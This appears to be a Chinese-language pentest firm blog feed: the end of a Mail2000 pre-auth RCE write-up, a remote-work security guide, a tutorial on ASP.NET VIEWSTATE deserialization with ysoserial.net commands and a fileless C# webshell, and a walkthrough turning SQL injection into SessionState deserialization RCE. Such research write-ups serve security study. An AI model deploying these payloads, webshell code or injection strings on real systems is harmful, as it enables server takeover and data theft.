在這個情況下,leak 得到的 address 是無法在後續攻擊中使用的!因為 CGI 執行完就結束了,下一個 request 又是全新的 CGI!
為了應對這個問題,我們最後寫了兩個 exploit,攻擊的手法根據 CGI binary 而有不同。

Post-Auth RCE - /cgi-bin/msg_read

第一個 exploit 的入口點是一個需要登入的頁面,這一隻程式較大、功能也較多。在這一個 exploit 中,我們使用了 heap spray 的手法來克服 ASLR,也就是在 heap 中填入大量重複的物件,如此一來我們就有很高的機率可以到它的位置。

而 spray 的內容就是大量偽造好的 FILE 結構,包含偽造的 vtable。從這隻 binary 中,我們找到了一個十分實用的 gadget,也就是小程式片段:

xchg eax, esp; ret

這個 gadget 的作用在於,我們可以改變 stack 的位置,而剛好此時的 eax指向內容是可控的,因此整個 stack 的內容都可以偽造,也就是說我們可以使用 ROP(Return-oriented programming) 來做利用!於是我們在偽造的 vtable 中設置了 stack 搬移的 gadget 以及後續利用的 ROP 攻擊鏈,進行 ROP 攻擊!

我們可以做 ROP,也就可以拿 shell 了對吧!你以為是這樣嗎?不,其實還有一個大問題,同樣導因於前面提到的防禦機制 ASLR – 我們沒有 system 的位置!這隻 binary 本身提供的 gadget 並不足以開啟一個 shell,因此我們希望可以直接利用 libc 當中的 system 來達成目的,但正如前面所提到的,記憶體位置每次載入都是隨機化的,我們並不知道 system 的確切位置!
經過我們仔細的觀察這支程式以後,我們發現了一件非常特別的事,這隻程式理論上是有打開 NX,也就是可寫段不可執行的保護機制

但是實際執行的時候,stack 的執行權限卻會被打開!

不論原因為何,這個設置對駭客來說是非常方便的,我們可以利用這個可執行段,將 shellcode 放上去執行,就可以成功得到 shell,達成 RCE!

然而,這個攻擊是需要登入的,對於追求完美的 DEVCORE 研究組來說,並不足夠!因此我們更進一步的研究了其它攻擊路徑!

Pre-Auth RCE - /cgi-bin/cgi_api

在搜索了所有 CGI 入口點以後,我們找到了一個不需要登入,同時又會呼叫 MCGI_VarClear()的 CGI – /cgi-bin/cgi_api。一如其名,它就是一隻呼叫 API 的接口,因此程式本身非常的小,幾乎是呼叫完 library 就結束了,也因此不再有 stack pivot 的 gadget 可以利用。
這時,由於我們已經得知 stack 是可執行的,因此其實我們是可以跳過 ROP 這個步驟,直接將 shellcode 放置在 stack 上的,這裡利用到一個 CGI 的特性 – HTTP 的相關變數會放在環境變數中,像是下列這些常見變數:

  • HTTP_HOST
  • REQUEST_METHOD
  • QUERY_STRING

而環境變數事實上就是被放置在 stack 的最末端,也就是可執行段的位置,因此我們只要偽造 vtable 直接呼叫 shellcode 就可以了!

當然這時候同樣出現了一個問題:我們仍舊沒有 stack 的記憶體位置。這個時候有些人可能會陷入一個迷思,覺得攻擊就是要一次到位,像個狙擊手一樣一擊必殺,但實際上可能是這樣拿機關槍把敵人炸飛:

換個角度思考,這隻 binary 是 32 bits 的,因此這個位置有 1.5bytes 是隨機的,總共有 163個可能的組合,所以其實平均只要 4096 次請求就可以撞到一次!這對於現在的電腦、網路速度來說其實也就是幾分鐘之間的事情,因此直接做暴力破解也是可行的!於是我們最終的 exploit 流程就是:

  1. 發送 POST 請求至 cgi_api
    • QUERY_STRING 中放入 shellcode
  2. 觸發越界寫入,覆蓋 file_vec
    • 在越界的參數準備偽造的 FILE & vtable
  3. cgi_api結束前呼叫 MCGI_VarClear
  4. 跳至 vtable 上的 shellcode 位置,建立 reverse shell

最後我們成功寫出了不用認證的 RCE 攻擊鏈,並且這個 exploit 是不會因為 binary 的版本不同而受影響的!而在實際遇到的案例中也證明了這個 exploit 的可行性,我們曾在一次的演練當中,藉由 Mail2000 的這個 1day 作為突破口,成功洩漏目標的 VPN 資料,進一步往內網滲透!

漏洞修復

此漏洞已在 2018/05/08 發布的 Mail2000 V7 Patch 050 版本中完成修復。Patch 編號為 OF-ISAC-18-002、OF-ISAC-18-003。

後記

最後想來談談對於這些漏洞,廠商該用什麼樣的心態去面對。作為一個提供產品的廠商,Openfind 在這一次的漏洞處理中有幾個關鍵值得學習:

  • 心態開放
    • 主動提供測試環境
  • 積極修復漏洞
    • 面對漏洞以積極正向的態度,迅速處理
    • 修復完畢後,與提報者合作驗證
  • 重視客戶安全
    • 發布重大更新並主動通報客戶、協助更新

其實產品有漏洞是很正常也很難避免的事,而我們研究組是作為一個協助者的角色,期望能藉由回報漏洞幫助企業,提高資安意識並增進台灣的資安水平!希望廠商們也能以正向的態度來面對漏洞,而不是閃躲逃避,這樣只會令用戶們陷入更大的資安風險當中!

而對於使用各項設備的用戶,也應當掌握好屬於自己的資產,防火牆、伺服器等產品並不是購買來架設好以後就沒有問題了,做好資產盤點、追蹤廠商的安全性更新,才能確保產品不受到 1day 的攻擊!而定期進行滲透測試以及紅隊演練,更是可以幫助企業釐清自己是否有盲點、缺失,進而改善以降低企業資安風險。


遠距工作的資安注意事項

$
0
0

近期因新型冠狀病毒(COVID-19, 武漢肺炎)影響,不少企業開放同仁遠距工作 (Telework)、在家上班 (Work from home, WFH)。在疫情加速時,如果沒有準備周全就貿然全面開放,恐怕會遭遇尚未考慮到的資安議題。這篇文章提供一個簡單的指引,到底遠端在家上班有哪些注意事項?我們會從公司管理、使用者兩個面向來討論。

如果你只想看重點,請跳到最後一段 TL;DR。

攻擊手段

我們先來聊聊攻擊的手段。試想以下幾個攻擊情境,這些情境都曾被我們利用在紅隊演練的過程中,同樣也可能是企業的盲點。

  1. 情境一、VPN 撞庫攻擊:同仁 A 使用 VPN 連線企業內部網路,但 VPN 帳號使用的是自己慣用的帳號密碼,並且將這組帳號密碼重複使用在外其他非公司的服務上(如 Facebook、Adobe),而這組密碼在幾次外洩事件中早已外洩。攻擊團隊透過鎖定同仁 A,使用這組密碼登入企業內部。而很遺憾的 VPN 在企業內部網路並沒有嚴謹的隔離,因此在內部網路的直接找到內網員工 Portal,取得各種機敏資料。
  2. 情境二、VPN 漏洞:VPN 漏洞已經成為攻擊者的主要攻略目標,公司 B 使用的 VPN 伺服器含有漏洞,攻擊團隊透過漏洞取得 VPN 伺服器的控制權後,從管理後台配置客戶端 logon script,在同仁登入時執行惡意程式,獲得其電腦控制權,並取得公司機密文件。可以參考之前 Orange & Meh 的研究: https://www.youtube.com/watch?v=v7JUMb70ON4
  3. 情境三、中間人攻擊:同仁 C 在家透過 PPTP VPN 工作。不幸的是 C 小孩的電腦中安裝了含有惡意程式的盜版軟體。攻擊者透該電腦腦進行內網中間人攻擊 (MITM),劫持 C 的流量並破解取得 VPN 帳號密碼,成功進入企業內網。

以上只是幾個比較常見的情境,攻擊團隊的面向非常廣,而企業的防禦卻不容易做到滴水不漏。這也是為什麼我們要撰寫這篇文章,希望能幫助一些企業在遠距工作的時期也能達到基本的安全。

風險有什麼

風險指的是發生某個事件對於該主體可能造成的危害。透過前面介紹的攻擊手段要達成危害,對攻擊者來說並不困難,接著我們盤點出一些在企業的資安規範下,因應遠距工作可能大幅增加攻擊者達成機率的因子:

  • 環境複雜:公司無法管控家中、遠距的工作環境,這些環境也比較複雜危險。一些公司內部的管理監控機制都難以施展,也較難要求同仁在家中私人設備安裝監控機制。
  • 公司資料外洩或不當使用:若公司的資料遭到外洩或不當使用,將會有嚴重的損失。
  • 設備遺失、遭竊:不管是筆電或者是手機等裝置,遺失或者遭竊時,都會有資料外洩的風險。
  • 授權或存取控制不易實作:在短時間內提供大量員工的外部存取,勢必會在「可用性」和「安全性」間做出取捨。

若公司允許同仁使用私人的設備連上公司內部 VPN,這樣的議題就等同 BYOD (Bring Your Own Device),這些安全性的顧慮有不少文章可以參考。例如 NIST SP800-46 Guide to Enterprise Telework, Remote Access, and Bring Your Own Device (BYOD) Security https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-46r2.pdf

公司面向

接下來我們來看看公司方面在遠距工作上面有哪些資安上面的作為。

工作流程及原則規劃

  • 工作流程調整:遠距工作時,每個流程該如何作對應的調整,例如如何在不同地點協同作業、彙整工作資料、確認工作成果及品質等。
  • 資料盤點:哪些資料放在雲端、伺服器、個人電腦,當遠距工作時哪些資料將無法被取用,或該將資料轉移到哪邊。
  • 會議流程:會議時視訊設備、軟體選擇及測試,並注意會議軟體通訊是否有加密。狀況如會議時間延長、同時發言、遠距品質影響等。
  • 事件處理團隊及流程:因遠距工作時發生的資安事件,該由誰負責處理、如何處理、盤點損失。
  • 僅知、最小權限原則:僅知原則 (Need-to-know Basis) 以及最小權限原則 (Principle of Least Privilege, PoLP),僅給予每個同仁最小限度需要的資料以及權限,避免額外的安全問題。

網路管理

  • VPN 帳號申請及盤點:哪些同仁需要使用 VPN,屬於哪些群組,每個群組的權限及連線範圍皆不同。
  • VPN 帳號權限範圍及內網分區:VPN 連線進來後,不應存取整個公司內網所有主機,因為 VPN 視同外部連線,風險等級應該更高,更應該做連線的分區管控。
  • 監控確認 VPN 流量及行為:透過內部網路的網路流量監控機制,確認 VPN 使用有無異常行為。
  • 只允許白名單設備取得 IP 位址:已申請的設備才能取得內網 IP 位址,避免可疑設備出現在內部網路。
  • 開啟帳號多因子認證:將雲端服務、VPN、內部網路服務開啟多因子認證。
  • 確認 VPN 伺服器是否為新版:在我們過去的研究發現 VPN 伺服器也會是攻擊的對象,因此密切注意是否有更新或者修補程式。

其中值得特別點出的是 VPN 的設定與開放。近期聽聞到不少公司的管理階層談論到,因應疫情原本不開放 VPN 權限的同仁現在全開放了。而問到 VPN 連線進公司內部網路之後的監控跟阻隔為何,卻較少有企業具備這樣的規劃。內部網路是企業的一大資安戰場,開放 VPN 的同時,必定要思考資安對應的措施。

使用者面向

公司準備好了,接下來就是使用者的安全性了。除了公司提供的 VPN 線路、架構、機制之外,使用者本身的資安意識、規範、安全性設定也一樣重要。

保密

  • 專機專用:用來存取公司網路或資料的電腦,應嚴格遵守此原則,禁止將該設備作為非公務用途。也應避免非公司人士使用或操作該裝置。

設備相關

  • 開啟裝置協尋、鎖定、清除功能:設備若可攜帶移動,設備的遺失對應方案就必須要考慮完整。例如如何尋找裝置、如何鎖定裝置、如何遠端清除已遺失的裝置避免資料外洩。現在主流作業系統多半都會提供這些機制。
  • 設備登入密碼:裝置登入時必須設定密碼,避免外人直接操作。
  • 設備全機加密:設備若遺失遭到分析,全機加密可以降低資料被破解遺失的風險。
  • (選擇性)MDM (Mobile Device Management):若公司有導入 MDM,可以協助以上的管理。

帳號密碼安全

  • 使用密碼管理工具並設定「強密碼」:可以考慮使用密碼管理工具並將密碼設為全隨機產生包含英文、數字、符號的密碼串。
  • 不同系統帳號使用不同密碼:這個在很多次演講中都有提到,建議每個系統皆使用不同密碼,防止撞庫攻擊。
  • 帳號開啟 2FA / MFA:若系統具備 2FA / MFA 機制,務必開啟,為帳號多一層保護。

網路使用

  • 避免使用公用 Wi-Fi 連接公司網路:公眾公用網路是相當危險的,恐被側錄或竄改。若必要時可使用手機熱點或透過 VPN 連接網際網路。
  • 禁止使用公用電腦登入公司系統:外面的公用電腦難確保沒有後門、Keylogger 之類的惡意程式,一定要禁止使用公用電腦來登入任何系統。
  • 確認連線裝置是否可取得內網 IP 位址:確認內網 IP 位址是否無誤,是否能夠正常存取公司內部系統。
  • 確認連線的對外 IP 位址:確認連線至網際網路的 IP 位址是否為預期,尤其是資安服務公司,對客戶連線的 IP 位址若有錯誤,可能釀成非常嚴重的損害。
  • (選擇性)安裝個人電腦防火牆:個人防火牆可以基本監控有無可疑程式想對外連線。
  • (選擇性)採用 E2EE 通訊工具:目前企業都會使用雲端通訊軟體,通訊軟體建議採用有 E2EE (End-to-End Encryption),如此可以確保公司內的機敏通訊內容只有內部人員才能解密,就連平台商也無法存取。
  • (選擇性)工作時關閉不必要的連線(如藍牙等):部分資安專家表示,建議在工作時將電腦的非必要連線管道全數關閉,如藍牙等,在外部公眾環境或許有心人士可以透過藍牙 exploit 攻擊個人裝置。

資料管理

  • 只留存在公司設備:公司的機敏資料、文件等,必須只留存在公司設備中,避免資料外洩以及管理問題。
  • 稽核記錄:記錄機敏資料的存放、修改、擁有人等資訊。
  • 重要文件加密:重要的文件必須加密,且密碼不得存放在同一目錄。
  • 信件附件加密,密碼透過另一管道傳遞:郵件的附件除了要加密之外,密碼必須使用另一管道傳遞。例如當面告知、事前約定、透過 E2EE 加密通道、或者是透過非網路方式給予。
  • 備份資料:機敏資料一定要備份,可以遵循「3-2-1 Backup Strategy」:三份備份、兩種媒體、一個放置異地。

實體安全

  • 離開電腦時立刻鎖定螢幕:離開電腦的習慣是馬上進入螢幕保護程式並且鎖定,不少朋友是放著讓他等他自己進入鎖定,但這個時間差有心人士已經可以完成攻擊。
  • 禁止插入來路不明的隨身碟或裝置:社交工程的手法之一,就是讓同仁插入惡意的 USB,甚至有可能摧毀電腦(Bad USB, USB Killer)。
  • 注意外人偷窺螢幕或碰觸設備:若常在外工作處於公共空間,可以考慮採購螢幕防窺片。
  • 不放置電腦設備在車上:雖然台灣治安不錯,但也是不少筆電在車上遭竊,重要資產記得隨身攜帶,或者放置在隱密處。
  • 將工作區域關門或鎖上:若在自己的工作區域,為了爭取更多時間應變突發狀況,建議將工作區域的門關閉或者上鎖。

TL;DR 防疫同時也別忽視資訊安全!

網路的攻防就是一場戰爭,如果不從攻擊者的面向去思考防禦策略,不但無法有效的減緩攻擊,更可能在全世界疫情逐漸失控的當下,讓惡意人士透過這樣的時機攻擊遠距工作的企業。期望我們的經驗分享能夠給企業一些基本的指引,也希望天災人禍能夠儘速消彌。台灣加油!

  • 開放 VPN 服務前,注意帳號管理以及內網切割隔離,避免透過 VPN 存取內網任意主機。
  • 雲端、網路服務務必使用獨一無二長密碼,並開啟 MFA / 2FA 多因子認證。
  • 使用雲端服務時務必盤點存取權限,避免文件連結可被任意人存取。
  • 注意設備遺失、竊取、社交工程等實體安全議題。
  • 網路是危險的,請使用可信賴的網路,並在通訊、傳輸時採用加密方式進行。

玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門

$
0
0

前言

這篇文章呼應我在研討會 DEVCORE Conference 2019分享的主題,如何用小缺陷一步步擊破使用 ASP.NET 框架所撰寫的堅固的網站應用程式,其中之一的內容就是關於我們在此之前過往紅隊演練專案中,成功數次透過 VIEWSTATE 的反序列化攻擊並製造進入內網突破口的利用方式以及心得,也就是此篇文章的主題。

內文

最近微軟產品 Exchange Server 爆出一個嚴重漏洞 CVE-2020-0688,問題發生的原因是每台 Exchange Server 安裝完後在某個 Component 中都使用了同一把固定的 Machine Key,而相信大家都已經很熟悉取得 Machine Key 之後的利用套路了,可以竄改 ASP.NET Form 中的 VIEWSTATE 參數值以進行反序列化攻擊,從而達成 Remote Code Execution 控制整台主機伺服器。

更詳細的 CVE-2020-0688 漏洞細節可以參考 ZDI blog:

對於 VIEWSTATE exploit 分析在網路上已經有無數篇文章進行深入的探討,所以在此篇文章中將不再重複贅述,而今天主要想聊聊的是關於 VIEWSTATE exploit 在滲透測試中如何進行利用。

最基本、常見的方式是直接使用工具 ysoserial.net的 ViewState Plugin 產生合法 MAC 與正確的加密內容,TypeConfuseDelegate gadget 經過一連串反射呼叫後預設會 invoke Process.Start 呼叫 cmd.exe,就可以觸發執行任意系統指令。

例如:

ysoserial.exe -p ViewState -g TypeConfuseDelegate
              -c "echo 123 > c:\pwn.txt"
              --generator="CA0B0334"
              --validationalg="SHA1"
              --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

異常的 VIEWSTATE 通常會導致 aspx 頁面回應 500 Internal Server Error,所以我們也無法直接得知指令執行的結果,但既然有了任意執行,要用 PowerShell 回彈 Reverse Shell 或回傳指令結果到外部伺服器上並不是件難事。

But ..

在滲透測試的實戰中,事情往往沒這麼美好。現今企業資安意識都相對高,目標伺服器環境出現以下幾種限制都已是常態:

  • 封鎖所有主動對外連線
  • 禁止查詢外部 DNS
  • 網頁目錄無法寫入
  • 網頁目錄雖可寫,但存在 Website Defacement 防禦機制,會自動復原檔案

所以這時就可以充分利用另一個 ActivitySurrogateSelectorFromFile gadget 的能力,這個 gadget 利用呼叫 Assembly.Load 動態載入 .NET 組件達成 Remote Code Execution,換句話說,可以使我們擁有在與 aspx 頁面同一個 Runtime 環境中執行任意 .NET 語言程式碼的能力,而 .NET 預設都會存在一些指向共有資源的全域靜態變數可以使用,例如 System.Web.HttpContext.Current就可以取得當下 HTTP 請求上下文的物件,也就像是我們能利用它來執行自己撰寫的 aspx 網頁的感覺,並且過程全是在記憶體中動態處理,於是就等同於建立了無檔案的 WebShell 後門!

我們只需要修改 -g 的參數成 ActivitySurrogateSelectorFromFile,而 -c 參數放的就不再是系統指令而是想執行的 ExploitClass.cs C# 程式碼檔案,後面用 ; 分號分隔加上所依賴需要引入的 dll。

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile
              -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll"
              --generator="CA0B0334"
              --validationalg="SHA1"
              --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

關於需要引入的 dll 可以在安裝了 .NET Framework 的 Windows 主機上找到,像我的環境是在這個路徑 C:\Windows\Microsoft.NET\Framework64\v4.0.30319之中。

至於最關鍵的 ExploitClass.cs 該如何撰寫呢?將來會試著提交給 ysoserial.net,就可以在範例檔案裡找到它,或是可以先直接看這裡:

classE{publicE(){System.Web.HttpContextcontext=System.Web.HttpContext.Current;context.Server.ClearError();context.Response.Clear();try{System.Diagnostics.Processprocess=newSystem.Diagnostics.Process();process.StartInfo.FileName="cmd.exe";stringcmd=context.Request.Form["cmd"];process.StartInfo.Arguments="/c "+cmd;process.StartInfo.RedirectStandardOutput=true;process.StartInfo.RedirectStandardError=true;process.StartInfo.UseShellExecute=false;process.Start();stringoutput=process.StandardOutput.ReadToEnd();context.Response.Write(output);}catch(System.Exception){}context.Response.Flush();context.Response.End();}}

其中 Server.ClearError()Response.End()都是必要且重要的一步,因為異常的 VIEWSTATE 必然會使得 aspx 頁面回應 500 或其他非預期的 Server Error,而呼叫第一個函式可以協助清除在當前 Runtime 環境下 stack 中所記錄的錯誤,而呼叫 End() 可以讓 ASP.NET 將當前上下文標記為請求已處理完成並直接將 Response 回應給客戶端,避免程式繼續進入其他 Error Handler 處理導致無法取得指令執行的輸出結果。

到這個步驟的話,理論上你只要送出請求時固定帶上這個惡意 VIEWSTATE,就可以像操作一般 WebShell 一樣:

不過有時也會出現這種情境:

不論怎麼改 Payload 再重送永遠都是得到 Server Error,於是就開始懷疑自己的人生 Q_Q

但也別急著灰心,可能只是你遇上的目標有很乖地定期更新了伺服器而已,因為微軟曾為了 ActivitySurrogateSelector 這個 gadget 加上了一些 patch,導致無法直接利用,好在有其他研究者馬上提供了解決方法使得這個 gadget 能再次被利用!

詳細細節可以閱讀這篇文章:Re-Animating ActivitySurrogateSelector By Nick Landers

總而言之,如果遇到上述情形,可以先嘗試用以下指令產生 VIEWSTATE 並發送一次給伺服器,順利的話就能使目標 Runtime 環境下的 DisableActivitySurrogateSelectorTypeCheck 變數值被設為 true,隨後再發送的 ActivitySurrogateSelector gadget 就不會再噴出 500 Server Error 了。

ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck
              -c "ignore"
              --generator="CA0B0334"
              --validationalg="SHA1"
              --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

如果上述一切都很順利、成功執行系統指令並回傳了結果,基本上就足夠做大部分事情,而剩下的就是繼續盡情發揮你的想像力吧!

不過有時候即便到了此一步驟還是會有不明的錯誤、不明的原因導致 MAC 計算始終是錯誤的,因為 .NET 內部演算法以及需要的環境參數組合稍微複雜,使得工具沒辦法輕易涵蓋所有可能情況,而當遇到這種情形時,我目前選擇的解決方法都是發揮工人智慧,嘗試在本機建立環境、設定相同的 MachineKey、手工撰寫 aspx 檔案,產生包含 gadget 的 VIEWSTATE 再轉送到目標主機上。如果你有更多發現或不一樣的想法願意分享的話,也歡迎來和我交流聊聊天。

從 SQL 到 RCE: 利用 SessionState 反序列化攻擊 ASP.NET 網站應用程式

$
0
0

今日來聊聊在去年某次滲透測試過中發現的趣事,那是在一個風和日麗的下午,與往常一樣進行著枯燥的測試環節,對每個參數嘗試各種可能的注入,但遲遲沒有任何進展和突破,直到在某個頁面上注入 ?id=1; waitfor delay '00:00:05'--,然後他就卡住了,過了恰好 5 秒鐘後伺服器又有回應,這表示我們找到一個 SQL Server 上的 SQL Injection!

一些陳舊、龐大的系統中,因為一些複雜的因素,往往仍使用著 sa 帳戶來登入 SQL Server,而在有如此高權限的資料庫帳戶前提下,我們可以輕易利用 xp_cmdshell 來執行系統指令以取得資料庫伺服器的作業系統控制權,但假如故事有如此順利,就不會出現這篇文章,所以理所當然我們取得的資料庫帳戶並沒有足夠權限。但因為發現的 SQL Injection 是 Stacked based,我們仍然可以對資料表做 CRUD,運氣好控制到一些網站設定變數的話,甚至可以直接達成 RCE,所以還是試著 dump schema 以了解架構,而在 dump 過程中發現了一個有趣的資料庫:

Database: ASPState
[2 tables]
+---------------------------------------+
| dbo.ASPStateTempApplications          |
| dbo.ASPStateTempSessions              |
+---------------------------------------+

閱讀文件後了解到,這個資料庫的存在用途是用來保存 ASP.NET 網站應用程式的 session。一般情況下預設 session 是儲存在 ASP.NET 網站應用程式的記憶體中,但某些分散式架構(例如 Load Balance 架構)的情況下,同時會有多個一模一樣的 ASP.NET 網站應用程式運行在不同伺服器主機上,而使用者每次請求時被分配到的伺服器主機也不會完全一致,就會需要有可以讓多個主機共享 session 的機制,而儲存在 SQL Server 上就是一種解決方案之一,想啟用這個機制可以在 web.config 中添加如下設定:

<configuration><system.web><!-- 將 session 保存在 SQL Server 中。 --><sessionStatemode="SQLServer"sqlConnectionString="data source=127.0.0.1;user id=<username>;password=<password>"timeout="20"/><!-- 預設值,將 session 保存在記憶體中。 --><!-- <sessionState mode="InProc" timeout="20" /> --><!-- 將 session 保存在 ASP.NET State Service 中,
             另一種跨主機共享 session 的解決方案。 --><!--
        <sessionState
            mode="StateServer"
            stateConnectionString="tcpip=localhost:42424"
            timeout="20"
        />
        --></system.web></configuration>

而要在資料庫中建立 ASPState 的資料庫,可以利用內建的工具 C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe完成這個任務,只需要使用下述指令即可:

# 建立 ASPState 資料庫
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssadd-sstype p

# 移除 ASPState 資料庫
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssremove-sstype p

現在我們了解如何設定 session 的儲存位置,且又可以控制 ASPState 資料庫,可以做到些什麼呢?這就是文章標題的重點,取得 Remote Code Execution!

ASP.NET 允許我們在 session 中儲存一些物件,例如儲存一個 List 物件:Session["secret"] = new List<String>() { "secret string" };,對於如何將這些物件保存到 SQL Server 上,理所當然地使用了序列化機制來處理,而我們又控制了資料庫,所以也能執行任意反序列化,為此需要先了解 Session 物件序列化與反序列化的過程。

簡單閱讀程式碼後,很快就可以定位出處理相關過程的類別,為了縮減說明的篇幅,以下將直接切入重點說明從資料庫取出資料後進行了什麼樣的反序列化操作。核心主要是透過呼叫 SqlSessionStateStore.GetItem函式還原出 Session 物件,雖然已盡可能把無關緊要的程式碼移除,但行數還是偏多,如果懶得閱讀程式碼的朋友可以直接下拉繼續看文章說明 XD

namespaceSystem.Web.SessionState{internalclassSqlSessionStateStore:SessionStateStoreProviderBase{publicoverrideSessionStateStoreDataGetItem(HttpContextcontext,Stringid,outboollocked,outTimeSpanlockAge,outobjectlockId,outSessionStateActionsactionFlags){SessionIDManager.CheckIdLength(id,true/* throwOnFail */);returnDoGet(context,id,false,outlocked,outlockAge,outlockId,outactionFlags);}SessionStateStoreDataDoGet(HttpContextcontext,Stringid,boolgetExclusive,outboollocked,outTimeSpanlockAge,outobjectlockId,outSessionStateActionsactionFlags){SqlDataReaderreader;byte[]buf;MemoryStreamstream=null;SessionStateStoreDataitem;SqlStateConnectionconn=null;SqlCommandcmd=null;boolusePooling=true;buf=null;reader=null;conn=GetConnection(id,refusePooling);try{if(getExclusive){cmd=conn.TempGetExclusive;}else{cmd=conn.TempGet;}cmd.Parameters[0].Value=id+_partitionInfo.AppSuffix;// @idcmd.Parameters[1].Value=Convert.DBNull;// @itemShortcmd.Parameters[2].Value=Convert.DBNull;// @lockedcmd.Parameters[3].Value=Convert.DBNull;// @lockDate or @lockAgecmd.Parameters[4].Value=Convert.DBNull;// @lockCookiecmd.Parameters[5].Value=Convert.DBNull;// @actionFlagsusing(reader=SqlExecuteReaderWithRetry(cmd,CommandBehavior.Default)){if(reader!=null){try{if(reader.Read()){buf=(byte[])reader[0];}}catch(Exceptione){ThrowSqlConnectionException(cmd.Connection,e);}}}if(buf==null){/* Get short item */buf=(byte[])cmd.Parameters[1].Value;}using(stream=newMemoryStream(buf)){item=SessionStateUtility.DeserializeStoreData(context,stream,s_configCompressionEnabled);_rqOrigStreamLen=(int)stream.Position;}returnitem;}finally{DisposeOrReuseConnection(refconn,usePooling);}}classSqlStateConnection:IDisposable{internalSqlCommandTempGet{get{if(_cmdTempGet==null){_cmdTempGet=newSqlCommand("dbo.TempGetStateItem3",_sqlConnection);_cmdTempGet.CommandType=CommandType.StoredProcedure;_cmdTempGet.CommandTimeout=s_commandTimeout;// ignore process of setting parameters}return_cmdTempGet;}}}}}

我們可以從程式碼清楚看出主要是呼叫 ASPState.dbo.TempGetStateItem3 Stored Procedure 取得 Session 的序列化二進制資料並保存到 buf 變數,最後將 buf 傳入 SessionStateUtility.DeserializeStoreData進行反序列化還原出 Session 物件,而 TempGetStateItem3 這個 SP 則是相當於在執行 SELECT SessionItemShort FROM [ASPState].dbo.ASPStateTempSessions,所以可以知道 Session 是儲存在 ASPStateTempSessions 資料表的 SessionItemShort 欄位中。接著讓我們繼續往下看關鍵的 DeserializeStoreData 做了什麼樣的操作。同樣地,行數偏多,有需求的朋友請自行下拉 XD

namespaceSystem.Web.SessionState{publicstaticclassSessionStateUtility{[SecurityPermission(SecurityAction.Assert,SerializationFormatter=true)]internalstaticSessionStateStoreDataDeserialize(HttpContextcontext,Streamstream){inttimeout;SessionStateItemCollectionsessionItems;boolhasItems;boolhasStaticObjects;HttpStaticObjectsCollectionstaticObjects;Byteeof;try{BinaryReaderreader=newBinaryReader(stream);timeout=reader.ReadInt32();hasItems=reader.ReadBoolean();hasStaticObjects=reader.ReadBoolean();if(hasItems){sessionItems=SessionStateItemCollection.Deserialize(reader);}else{sessionItems=newSessionStateItemCollection();}if(hasStaticObjects){staticObjects=HttpStaticObjectsCollection.Deserialize(reader);}else{staticObjects=SessionStateUtility.GetSessionStaticObjects(context);}eof=reader.ReadByte();if(eof!=0xff){thrownewHttpException(SR.GetString(SR.Invalid_session_state));}}catch(EndOfStreamException){thrownewHttpException(SR.GetString(SR.Invalid_session_state));}returnnewSessionStateStoreData(sessionItems,staticObjects,timeout);}staticinternalSessionStateStoreDataDeserializeStoreData(HttpContextcontext,Streamstream,boolcompressionEnabled){returnSessionStateUtility.Deserialize(context,stream);}}}

我們可以看到實際上 DeserializeStoreData 又是把反序列化過程轉交給其他類別,而依據取出的資料不同,可能會轉交給 SessionStateItemCollection.DeserializeHttpStaticObjectsCollection.Deserialize做處理,在觀察程式碼後發現 HttpStaticObjectsCollection的處理相對單純,所以我個人就選擇往這個分支下去研究。

namespaceSystem.Web{publicsealedclassHttpStaticObjectsCollection:ICollection{staticpublicHttpStaticObjectsCollectionDeserialize(BinaryReaderreader){intcount;stringname;stringtypename;boolhasInstance;Objectinstance;HttpStaticObjectsEntryentry;HttpStaticObjectsCollectioncol;col=newHttpStaticObjectsCollection();count=reader.ReadInt32();while(count-->0){name=reader.ReadString();hasInstance=reader.ReadBoolean();if(hasInstance){instance=AltSerialization.ReadValueFromStream(reader);entry=newHttpStaticObjectsEntry(name,instance,0);}else{// skipped}col._objects.Add(name,entry);}returncol;}}}

跟進去一看,發現 HttpStaticObjectsCollection 取出一些 bytes 之後,又把過程轉交給 AltSerialization.ReadValueFromStream進行處理,看到這的朋友們或許會臉上三條線地心想:「該不會又要追進去吧 . . 」,不過其實到此為止就已足夠,因為 AltSerialization 實際上類似於 BinaryFormatter 的包裝,到此已經有足夠資訊作利用,另外還有一個原因兼好消息,當初我程式碼追到此處時,上網一查這個物件,發現 ysoserial.net已經有建立 AltSerialization 反序列化 payload 的 plugin,所以可以直接掏出這個利器來使用!下面一行指令就可以產生執行系統指令 calc.exe 的 base64 編碼後的 payload。

ysoserial.exe -p Altserialization -M HttpStaticObjectsCollection -obase64-c"calc.exe"

不過到此還是有個小問題需要解決,ysoserial.net 的 AltSerialization plugin 所建立的 payload 是攻擊 SessionStateItemCollection 或 HttpStaticObjectsCollection 兩個類別的反序列化操作,而我們儲存在資料庫中的 session 序列化資料是由在此之上還額外作了一層包裝的 SessionStateUtility 類別處理的,所以必須要再做點修飾。回頭再去看看程式碼,會發現 SessionStateUtility 也只添加了幾個 bytes,減化後如下所示:

timeout=reader.ReadInt32();hasItems=reader.ReadBoolean();hasStaticObjects=reader.ReadBoolean();if(hasStaticObjects)staticObjects=HttpStaticObjectsCollection.Deserialize(reader);eof=reader.ReadByte();

對於 Int32 要添加 4 個 bytes,Boolean 則是 1 個 byte,而因為要讓程式路徑能進入 HttpStaticObjectsCollection 的分支,必須讓第 6 個 byte 為 1 才能讓條件達成,先將原本從 ysoserial.net 產出的 payload 從 base64 轉成 hex 表示,再前後各別添加 6、1 bytes,如下示意圖:

  timeout    false  true            HttpStaticObjectsCollection             eof
┌─────────┐  ┌┐     ┌┐    ┌───────────────────────────────────────────────┐ ┌┐
00 00 00 00  00     01    010000000001140001000000fff ... 略 ... 0000000a0b ff

修飾完的這個 payload 就能用來攻擊 SessionStateUtility 類別了!

